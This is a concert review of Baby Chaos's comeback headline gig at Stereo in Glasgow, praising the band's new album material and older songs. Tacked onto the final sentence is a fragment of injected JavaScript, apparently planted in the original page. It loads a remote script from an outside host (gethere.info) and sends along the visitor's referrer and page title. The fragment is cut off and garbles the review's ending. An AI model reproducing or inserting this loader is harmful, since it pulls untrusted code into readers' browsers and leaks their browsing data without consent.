Stereo 18/4/15
by Fraser Bryce
17 years is a long time. To put things in perspective, 17 years ago Tony Blair had just become Prime Minister, the first Harry Potter book had just been published and Oasis had just released ‘Be Here Now’. That was what the world was like the last time Baby Chaos released an album. But now, after years of side projects and a one off reunion in 2011, the Glaswegian alt-rockers are back, with a new album to boot.
It’s clear by the fact that the crowd at Stereo tonight are packed in like sardines that Baby Chaos’ first hometown headline gig in nearly two decades has been highly anticipated, and when the band start the set with an explosive rendition of ‘She’s In Pain’, it becomes apparent that, while Baby Chaos have been gone, they have not been forgotten. New material from ‘Skulls, Skulls, Skulls: Show Me The Glory’ slots perfectly alongside the older material, with the Queens of the Stone Age-esque riffing of ‘Blackbirds’ and the pounding stomp of ‘Have Faith In Yourself’ fitting well alongside the aggressive ‘Go To Hell’ and the grunge fuelled ‘A Bullet For The End’.
Throughout the set, what shines through is the diversity of Baby Chaos’ material, with the songs ranging from heavy, riff fuelled monsters to poppier, more melodic songs, via the quiet and reflective ‘Camel’ and the raging punk of ‘Golden Tooth’. However, the real stellar moments of the night are the new material, with songs like ‘Poison Ivy Girls’, which has a chorus which is destined to burrow its way into your brain, and ‘P-P-P-Peaches’ which, while displaying some of Baby Chaos’ more grunge-like tendencies, is firmly rooted in the twentieth century. It’s been a very long time since I’ve seen a band that can blend the sounds of their classic era with a more modern sensibility as well as Baby Chaos.
But that’s not to say that the older material sounds dated. Far from it, in fact, with the tracks from ‘Love Your Self Abuse’ and the debut ‘Safe Sex, Designer Drugs and the Death of Rock and Roll’ sounding as if they had been written yesterday, and the timeless nature of the songs allowing the set to flow beautifully.
As the set winds to a close, the band continue to display more of their brilliant new material, with the slower ‘The Whispering Of Giants’ highlighting frontman Chris Gordon’s incredible singing voice, and set closer ‘You Can’t Shut Us Up’ providing what would have been an excellent end to an excellent gig. But it doesn’t end there. Much to the crowd’s delight, the band opt to ignore their curfew and slip a few more songs in, namely the Nirvana-esque riffage of ‘Sperm’ and the blazing, punk rock fury of ‘Rearrange You’.
But, in true showbiz nature, the band leave the audience wanting more, no matter how much the crowd demand it. Not that it matters. Tonight, Baby Chaos came, saw and conquered with impeccable style. Welcome back boys, you’ve been missed.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
